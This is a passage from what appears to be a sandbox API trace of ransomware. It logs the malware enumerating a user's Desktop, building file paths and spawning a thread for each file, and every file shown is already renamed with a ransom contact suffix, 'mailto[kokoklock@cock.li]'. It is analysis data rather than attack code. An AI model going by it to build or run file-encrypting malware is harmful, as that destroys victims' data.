(_String1="gr_f.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.925] wcscmp (_String1="gr_f.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f83168 [0168.925] wcscpy (in: _Dest=0x2f83168, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.925] wcscat (in: _Dest=0x2f83168, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.925] wcscat (in: _Dest=0x2f83168, _Source="gr_f.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" [0168.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0168.926] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf9f6e0, ftCreationTime.dwHighDateTime=0x1d4d2c3, ftLastAccessTime.dwLowDateTime=0x2e5cbcc0, ftLastAccessTime.dwHighDateTime=0x1d4d4ac, ftLastWriteTime.dwLowDateTime=0x83743dac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HZAJMY~1.D0E")) returned 1 [0168.926] wcscmp (_String1="hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.926] wcscmp (_String1="hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f90ed0 [0168.926] wcscpy (in: _Dest=0x2f90ed0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.926] wcscat (in: _Dest=0x2f90ed0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.926] wcscat (in: _Dest=0x2f90ed0, _Source="hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" [0168.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0168.927] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66ee0, ftCreationTime.dwHighDateTime=0x1d4d158, ftLastAccessTime.dwLowDateTime=0x10497c10, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x83769f87, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11976, dwReserved0=0x0, dwReserved1=0x0, cFileName="ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ILUU-U~1.D0E")) returned 1 [0168.927] wcscmp (_String1="ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.927] wcscmp (_String1="ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fcf728 [0168.927] wcscpy (in: _Dest=0x2fcf728, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.927] wcscat (in: _Dest=0x2fcf728, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.927] wcscat (in: _Dest=0x2fcf728, _Source="ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" [0168.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0168.928] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d53400, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x4a9da0a0, ftLastAccessTime.dwHighDateTime=0x1d4d283, ftLastWriteTime.dwLowDateTime=0x837902a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1165a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="IUHD0A~1.D0E")) returned 1 [0168.928] wcscmp (_String1="IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.928] wcscmp (_String1="IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3a40 [0168.928] wcscpy (in: _Dest=0x2fe3a40, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.928] wcscat (in: _Dest=0x2fe3a40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.928] wcscat (in: _Dest=0x2fe3a40, _Source="IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" [0168.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0168.929] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e46270, ftCreationTime.dwHighDateTime=0x1d4d3f9, ftLastAccessTime.dwLowDateTime=0x67d7fc70, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0x837dc7a5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12746, dwReserved0=0x0, dwReserved1=0x0, cFileName="nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NJRCTE~1.D0E")) returned 1 [0168.929] wcscmp (_String1="nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.929] wcscmp (_String1="nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fedda8 [0168.929] wcscpy (in: _Dest=0x2fedda8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.929] wcscat (in: _Dest=0x2fedda8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.929] wcscat (in: _Dest=0x2fedda8, _Source="nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" [0168.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0168.930] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808b7b80, ftCreationTime.dwHighDateTime=0x1d4d26d, ftLastAccessTime.dwLowDateTime=0x4e07dcc0, ftLastAccessTime.dwHighDateTime=0x1d4c9c7, ftLastWriteTime.dwLowDateTime=0x8384ed92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7757, dwReserved0=0x0, dwReserved1=0x0, cFileName="Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OF-AZB~1.D0E")) returned 1 [0168.930] wcscmp (_String1="Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.930] wcscmp (_String1="Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fe3b80 [0168.930] wcscpy (in: _Dest=0x2fe3b80, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.930] wcscat (in: _Dest=0x2fe3b80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.930] wcscat (in: _Dest=0x2fe3b80, _Source="Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" [0168.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0168.931] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf86d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xbd00ceb0, ftLastAccessTime.dwHighDateTime=0x1d4cc25, ftLastWriteTime.dwLowDateTime=0x83875120, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3559, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OMIGOP~1.D0E")) returned 1 [0168.931] wcscmp (_String1="OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.931] wcscmp (_String1="OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.931] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcfd18 [0168.931] wcscpy (in: _Dest=0x2fcfd18, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.931] wcscat (in: _Dest=0x2fcfd18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.931] wcscat (in: _Dest=0x2fcfd18, _Source="OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" [0168.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0168.932] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc5726d0, ftCreationTime.dwHighDateTime=0x1d4d0c9, ftLastAccessTime.dwLowDateTime=0xf0bbeee0, ftLastAccessTime.dwHighDateTime=0x1d4d0a0, ftLastWriteTime.dwLowDateTime=0x8389b281, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OPACO9~1.D0E")) returned 1 [0168.932] wcscmp (_String1="oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.932] wcscmp (_String1="oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee0f0 [0168.932] wcscpy (in: _Dest=0x2fee0f0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.932] wcscat (in: _Dest=0x2fee0f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.932] wcscat (in: _Dest=0x2fee0f0, _Source="oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" [0168.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0168.933] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x8475badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8475badf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORoHpPjcmz", cAlternateFileName="OROHPP~1")) returned 1 [0168.933] wcscmp (_String1="ORoHpPjcmz", _String2=".") returned 1 [0168.933] wcscmp (_String1="ORoHpPjcmz", _String2="..") returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa1310 [0168.933] wcscpy (in: _Dest=0x2fa1310, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.933] wcscat (in: _Dest=0x2fa1310, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.933] wcscat (in: _Dest=0x2fa1310, _Source="ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0168.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0168.934] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18528d0, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0x36de8f60, ftLastAccessTime.dwHighDateTime=0x1d4c730, ftLastWriteTime.dwLowDateTime=0x838c14e8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QHL6SB~1.D0E")) returned 1 [0168.934] wcscmp (_String1="QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.934] wcscmp (_String1="QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.934] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f82e98 [0168.934] wcscpy (in: _Dest=0x2f82e98, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.934] wcscat (in: _Dest=0x2f82e98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.934] wcscat (in: _Dest=0x2f82e98, _Source="QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" [0168.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0168.935] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22410d50, ftCreationTime.dwHighDateTime=0x1d4cdaa, ftLastAccessTime.dwLowDateTime=0x91e59ab0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x838e7755, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x116c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QIHGQO~1.D0E")) returned 1 [0168.935] wcscmp (_String1="qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.935] wcscmp (_String1="qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fed910 [0168.935] wcscpy (in: _Dest=0x2fed910, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.935] wcscat (in: _Dest=0x2fed910, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.935] wcscat (in: _Dest=0x2fed910, _Source="qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" [0168.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fed910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0168.936] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c47e400, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xdfe217d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e6, ftLastWriteTime.dwLowDateTime=0x83933c62, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QPRYE_~1.D0E")) returned 1 [0168.936] wcscmp (_String1="qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.936] wcscmp (_String1="qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.936] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcf0a0 [0168.936] wcscpy (in: _Dest=0x2fcf0a0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.936] wcscat (in: _Dest=0x2fcf0a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.936] wcscat (in: _Dest=0x2fcf0a0, _Source="qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" [0168.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0168.937] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec66d5b0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0x19fe71f0, ftLastAccessTime.dwHighDateTime=0x1d4cec2, ftLastWriteTime.dwLowDateTime=0x83959eba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S51-BA~1.D0E")) returned 1 [0168.937] wcscmp (_String1="s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.937] wcscmp (_String1="s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fedb08 [0168.937] wcscpy (in: _Dest=0x2fedb08, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.937] wcscat (in: _Dest=0x2fedb08, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.937] wcscat (in: _Dest=0x2fedb08, _Source="s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" [0168.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedb08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0168.938] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5557d4a0, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0x5f0f9fc0, ftLastAccessTime.dwHighDateTime=0x1d4c8f1, ftLastWriteTime.dwLowDateTime=0x839a780a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SZTN3F~1.D0E")) returned 1 [0168.938] wcscmp (_String1="SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.938] wcscmp (_String1="SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fedef8 [0168.938] wcscpy (in: _Dest=0x2fedef8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.938] wcscat (in: _Dest=0x2fedef8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.938] wcscat (in: _Dest=0x2fedef8, _Source="SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" [0168.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0168.939] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d87200, ftCreationTime.dwHighDateTime=0x1d4c77e, ftLastAccessTime.dwLowDateTime=0x349b5490, ftLastAccessTime.dwHighDateTime=0x1d4ce1f, ftLastWriteTime.dwLowDateTime=0x839cc57e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18ecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TQGQSJ~1.D0E")) returned 1 [0168.939] wcscmp (_String1="tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.939] wcscmp (_String1="tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fd0140 [0168.939] wcscpy (in: _Dest=0x2fd0140, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.939] wcscat (in: _Dest=0x2fd0140, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.939] wcscat (in: _Dest=0x2fd0140, _Source="tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" | out: 